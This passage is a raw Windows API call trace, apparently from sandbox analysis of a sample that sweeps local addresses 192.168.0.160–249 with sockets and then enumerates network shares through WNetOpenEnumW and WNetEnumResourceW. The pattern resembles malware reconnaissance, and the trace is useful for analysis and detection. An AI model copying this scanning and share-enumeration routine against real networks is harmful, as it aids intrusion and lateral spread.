0xffffffff [0217.741] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.741] htonl (hostlong=0xc0a800a0) returned 0xa000a8c0 [0218.166] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.166] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.167] htonl (hostlong=0xc0a800a1) returned 0xa100a8c0 [0218.167] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.167] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.167] htonl (hostlong=0xc0a800a2) returned 0xa200a8c0 [0218.167] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.167] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.167] htonl (hostlong=0xc0a800a3) returned 0xa300a8c0 [0218.167] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.167] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.167] htonl (hostlong=0xc0a800a4) returned 0xa400a8c0 [0218.167] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.167] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.167] htonl (hostlong=0xc0a800a5) returned 0xa500a8c0 [0218.167] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.167] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.168] htonl (hostlong=0xc0a800a6) returned 0xa600a8c0 [0218.168] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.168] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.168] htonl (hostlong=0xc0a800a7) returned 0xa700a8c0 [0218.168] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.168] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.168] htonl (hostlong=0xc0a800a8) returned 0xa800a8c0 [0218.168] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.168] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.168] htonl (hostlong=0xc0a800a9) returned 0xa900a8c0 [0218.168] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.168] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.168] htonl (hostlong=0xc0a800aa) returned 0xaa00a8c0 [0218.168] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.168] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.168] htonl (hostlong=0xc0a800ab) returned 0xab00a8c0 [0218.168] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.168] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.169] htonl (hostlong=0xc0a800ac) returned 0xac00a8c0 [0218.169] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.169] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.169] htonl (hostlong=0xc0a800ad) returned 0xad00a8c0 [0218.169] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.169] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.169] htonl (hostlong=0xc0a800ae) returned 0xae00a8c0 [0218.169] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.169] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.169] htonl (hostlong=0xc0a800af) returned 0xaf00a8c0 [0218.169] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.169] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.169] htonl (hostlong=0xc0a800b0) returned 0xb000a8c0 [0218.169] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.169] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.170] htonl (hostlong=0xc0a800b1) returned 0xb100a8c0 [0218.170] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.170] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.170] htonl (hostlong=0xc0a800b2) returned 0xb200a8c0 [0218.170] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.170] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.170] htonl (hostlong=0xc0a800b3) returned 0xb300a8c0 [0218.170] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.170] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.170] htonl (hostlong=0xc0a800b4) returned 0xb400a8c0 [0218.170] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.170] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.170] htonl (hostlong=0xc0a800b5) returned 0xb500a8c0 [0218.171] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.171] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.171] htonl (hostlong=0xc0a800b6) returned 0xb600a8c0 [0218.171] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.171] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.171] htonl (hostlong=0xc0a800b7) returned 0xb700a8c0 [0218.171] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.171] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.171] htonl (hostlong=0xc0a800b8) returned 0xb800a8c0 [0218.171] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.171] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.171] htonl (hostlong=0xc0a800b9) returned 0xb900a8c0 [0218.171] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.171] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.172] htonl (hostlong=0xc0a800ba) returned 0xba00a8c0 [0218.172] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.172] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.172] htonl (hostlong=0xc0a800bb) returned 0xbb00a8c0 [0218.172] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.172] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.172] htonl (hostlong=0xc0a800bc) returned 0xbc00a8c0 [0218.172] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.172] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.172] htonl (hostlong=0xc0a800bd) returned 0xbd00a8c0 [0218.172] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.172] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.172] htonl (hostlong=0xc0a800be) returned 0xbe00a8c0 [0218.172] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.172] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.173] htonl (hostlong=0xc0a800bf) returned 0xbf00a8c0 [0218.173] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.173] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.173] htonl (hostlong=0xc0a800c0) returned 0xc000a8c0 [0218.173] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.173] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.173] htonl (hostlong=0xc0a800c1) returned 0xc100a8c0 [0218.173] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.173] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.173] htonl (hostlong=0xc0a800c2) returned 0xc200a8c0 [0218.173] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.173] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.173] htonl (hostlong=0xc0a800c3) returned 0xc300a8c0 [0218.173] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.173] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.173] htonl (hostlong=0xc0a800c4) returned 0xc400a8c0 [0218.173] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.174] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.174] htonl (hostlong=0xc0a800c5) returned 0xc500a8c0 [0218.174] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.174] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.174] htonl (hostlong=0xc0a800c6) returned 0xc600a8c0 [0218.174] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.174] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.174] htonl (hostlong=0xc0a800c7) returned 0xc700a8c0 [0218.174] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.174] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.174] htonl (hostlong=0xc0a800c8) returned 0xc800a8c0 [0218.174] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.174] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.174] htonl (hostlong=0xc0a800c9) returned 0xc900a8c0 [0218.174] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.174] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.174] htonl (hostlong=0xc0a800ca) returned 0xca00a8c0 [0218.175] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.175] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.175] htonl (hostlong=0xc0a800cb) returned 0xcb00a8c0 [0218.175] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.175] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.175] htonl (hostlong=0xc0a800cc) returned 0xcc00a8c0 [0218.175] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.175] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.175] htonl (hostlong=0xc0a800cd) returned 0xcd00a8c0 [0218.175] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.175] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.175] htonl (hostlong=0xc0a800ce) returned 0xce00a8c0 [0218.175] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.175] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.175] htonl (hostlong=0xc0a800cf) returned 0xcf00a8c0 [0218.175] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.176] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.176] htonl (hostlong=0xc0a800d0) returned 0xd000a8c0 [0218.176] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.176] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.176] htonl (hostlong=0xc0a800d1) returned 0xd100a8c0 [0218.176] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.176] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.176] htonl (hostlong=0xc0a800d2) returned 0xd200a8c0 [0218.176] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.176] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.176] htonl (hostlong=0xc0a800d3) returned 0xd300a8c0 [0218.176] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.176] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.176] htonl (hostlong=0xc0a800d4) returned 0xd400a8c0 [0218.176] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.176] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.177] htonl (hostlong=0xc0a800d5) returned 0xd500a8c0 [0218.177] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.177] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.177] htonl (hostlong=0xc0a800d6) returned 0xd600a8c0 [0218.177] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.177] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.177] htonl (hostlong=0xc0a800d7) returned 0xd700a8c0 [0218.177] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.177] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.177] htonl (hostlong=0xc0a800d8) returned 0xd800a8c0 [0218.177] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.177] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.177] htonl (hostlong=0xc0a800d9) returned 0xd900a8c0 [0218.177] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.178] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.178] htonl (hostlong=0xc0a800da) returned 0xda00a8c0 [0218.178] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.178] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.178] htonl (hostlong=0xc0a800db) returned 0xdb00a8c0 [0218.178] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.178] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.178] htonl (hostlong=0xc0a800dc) returned 0xdc00a8c0 [0218.178] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.178] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.179] htonl (hostlong=0xc0a800dd) returned 0xdd00a8c0 [0218.179] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.179] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.179] htonl (hostlong=0xc0a800de) returned 0xde00a8c0 [0218.179] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.179] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.179] htonl (hostlong=0xc0a800df) returned 0xdf00a8c0 [0218.179] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.179] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.179] htonl (hostlong=0xc0a800e0) returned 0xe000a8c0 [0218.179] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.179] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.179] htonl (hostlong=0xc0a800e1) returned 0xe100a8c0 [0218.179] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.180] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.180] htonl (hostlong=0xc0a800e2) returned 0xe200a8c0 [0218.180] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.180] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.180] htonl (hostlong=0xc0a800e3) returned 0xe300a8c0 [0218.180] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.180] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.180] htonl (hostlong=0xc0a800e4) returned 0xe400a8c0 [0218.180] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.180] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.180] htonl (hostlong=0xc0a800e5) returned 0xe500a8c0 [0218.180] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.180] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.180] htonl (hostlong=0xc0a800e6) returned 0xe600a8c0 [0218.180] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.181] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.181] htonl (hostlong=0xc0a800e7) returned 0xe700a8c0 [0218.181] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.181] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.181] htonl (hostlong=0xc0a800e8) returned 0xe800a8c0 [0218.181] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.181] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.181] htonl (hostlong=0xc0a800e9) returned 0xe900a8c0 [0218.181] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.181] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.181] htonl (hostlong=0xc0a800ea) returned 0xea00a8c0 [0218.181] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.181] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.181] htonl (hostlong=0xc0a800eb) returned 0xeb00a8c0 [0218.181] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.181] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.181] htonl (hostlong=0xc0a800ec) returned 0xec00a8c0 [0218.182] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.182] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.182] htonl (hostlong=0xc0a800ed) returned 0xed00a8c0 [0218.182] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.182] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.182] htonl (hostlong=0xc0a800ee) returned 0xee00a8c0 [0218.182] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.182] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.182] htonl (hostlong=0xc0a800ef) returned 0xef00a8c0 [0218.182] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.182] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.182] htonl (hostlong=0xc0a800f0) returned 0xf000a8c0 [0218.182] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.182] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.182] htonl (hostlong=0xc0a800f1) returned 0xf100a8c0 [0218.182] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.182] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.183] htonl (hostlong=0xc0a800f2) returned 0xf200a8c0 [0218.183] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.183] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.183] htonl (hostlong=0xc0a800f3) returned 0xf300a8c0 [0218.183] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.183] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.183] htonl (hostlong=0xc0a800f4) returned 0xf400a8c0 [0218.183] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.183] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.183] htonl (hostlong=0xc0a800f5) returned 0xf500a8c0 [0218.183] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.183] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.183] htonl (hostlong=0xc0a800f6) returned 0xf600a8c0 [0218.183] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.184] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.184] htonl (hostlong=0xc0a800f7) returned 0xf700a8c0 [0218.184] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.184] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.184] htonl (hostlong=0xc0a800f8) returned 0xf800a8c0 [0218.184] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.184] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0218.184] htonl (hostlong=0xc0a800f9) returned 0xf900a8c0 [0218.184] socket (af=2, type=1, protocol=6) returned 0xffffffff [0218.184] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0229.077] WNetOpenEnumW (in: dwScope=0x1, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x237fd80 | out: lphEnum=0x237fd80*=0x5ec500) returned 0x0 [0232.429] WNetEnumResourceW (in: hEnum=0x5ec500, lpcCount=0x237fd78, lpBuffer=0x2bc9a78, lpBufferSize=0x237fd84 | out: lpcCount=0x237fd78, lpBuffer=0x2bc9a78, lpBufferSize=0x237fd84) returned 0x103 [0232.430] WNetCloseEnum (hEnum=0x5ec500) returned 0x0 [0232.430] GetProcessHeap () returned 0x560000 [0232.430] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0232.430] GetProcessHeap () returned 0x560000 [0232.430] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bcda80 | out: hHeap=0x560000) returned 1 [0232.430] GetProcessHeap () returned 0x560000 [0232.430] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4000) returned 0x2beeeb8 [0232.430] GetProcessHeap () returned 0x560000 [0232.430] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b99a60 [0232.431] WNetOpenEnumW (in: dwScope=0x4, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x237fd68 | out: lphEnum=0x237fd68*=0x57cbb8) returned 0x0 [0232.432] WNetEnumResourceW (in: hEnum=0x57cbb8, lpcCount=0x237fd60, lpBuffer=0x2beeeb8, lpBufferSize=0x237fd6c | out: lpcCount=0x237fd60, lpBuffer=0x2beeeb8, lpBufferSize=0x237fd6c) returned 0x103 [0232.433] WNetCloseEnum (hEnum=0x57cbb8) returned 0x0 [0232.433] GetProcessHeap () returned 0x560000 [0232.433] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2beeeb8 | out: hHeap=0x560000) returned 1 [0232.433] GetProcessHeap () returned 0x560000 [0232.433] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b99a60 | out: hHeap=0x560000) returned 1 [0232.433] GetProcessHeap () returned 0x560000 [0232.433] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4000) returned 0x2beeeb8 [0232.433] GetProcessHeap () returned 0x560000 [0232.433] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b99a60 [0232.433] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x237fd50 | out: lphEnum=0x237fd50*=0x5ec500) returned 0x0 [0249.598] WNetEnumResourceW (in: hEnum=0x5ec500, lpcCount=0x237fd48, lpBuffer=0x2beeeb8, lpBufferSize=0x237fd54 | out: lpcCount=0x237fd48, lpBuffer=0x2beeeb8, lpBufferSize=0x237fd54) returned 0x0 [0249.599] GetProcessHeap () returned 0x560000 [0249.600] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4000) returned 0x2bf2ec0 [0249.600] GetProcessHeap () returned 0x560000 [0249.600] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b888a8 [0249.601] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x2beeeb8, lphEnum=0x237fd10 | out: lphEnum=0x237fd10*=0x65fef8) returned 0x0 [0265.230] WNetEnumResourceW (in: hEnum=0x65fef8, lpcCount=0x237fd08, lpBuffer=0x2bf2ec0, lpBufferSize=0x237fd14 | out: lpcCount=0x237fd08, lpBuffer=0x2bf2ec0, lpBufferSize=0x237fd14) returned 0x0 [0265.230] WNetEnumResourceW (in: hEnum=0x65fef8, lpcCount=0x237fd08, lpBuffer=0x2bf2ec0, lpBufferSize=0x237fd14 | out: lpcCount=0x237fd08, lpBuffer=0x2bf2ec0, lpBufferSize=0x237fd14) returned 0x103 [0265.231] WNetCloseEnum (hEnum=0x65fef8) returned 0x0 [0265.231] GetProcessHeap () returned 0x560000 [0265.231] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bf2ec0 | out: hHeap=0x560000) returned 1 [0265.231] GetProcessHeap () returned 0x560000 [0265.231] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b888a8 | out: hHeap=0x560000) returned 1 [0265.231] WNetEnumResourceW (in: hEnum=0x5ec500, lpcCount=0x237fd48, lpBuffer=0x2beeeb8, lpBufferSize=0x237fd54 | out: lpcCount=0x237fd48, lpBuffer=0x2beeeb8, lpBufferSize=0x237fd54) returned 0x103 [0265.231] WNetCloseEnum (hEnum=0x5ec500) returned 0x0 [0265.231] GetProcessHeap () returned 0x560000 [0265.231] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2beeeb8 | out: hHeap=0x560000) returned 1 [0265.231] GetProcessHeap () returned 0x560000 [0265.231] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b99a60 | out: hHeap=0x560000) returned 1 [0265.231] GetProcessHeap () returned 0x560000 [0265.232] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4000) returned 0x2beeeb8 [0265.232] GetProcessHeap () returned 0x560000 [0265.232] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b888a8 [0265.232] WNetOpenEnumW (in: dwScope=0x3, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x237fd80 | out: lphEnum=0x237fd80*=0x57cc18) returned 0x0 [0265.232] WNetEnumResourceW (in: hEnum=0x57cc18, lpcCount=0x237fd78, lpBuffer=0x2beeeb8, lpBufferSize=0x237fd84 | out: lpcCount=0x237fd78, lpBuffer=0x2beeeb8, lpBufferSize=0x237fd84) returned 0x103 [0265.233] WNetCloseEnum (hEnum=0x57cc18) returned 0x0 [0265.233] GetProcessHeap () returned 0x560000 [0265.233] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2beeeb8 | out: hHeap=0x560000) returned 1 [0265.233] GetProcessHeap () returned 0x560000 [0265.233] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b888a8 | out: hHeap=0x560000) returned 1 [0265.233] 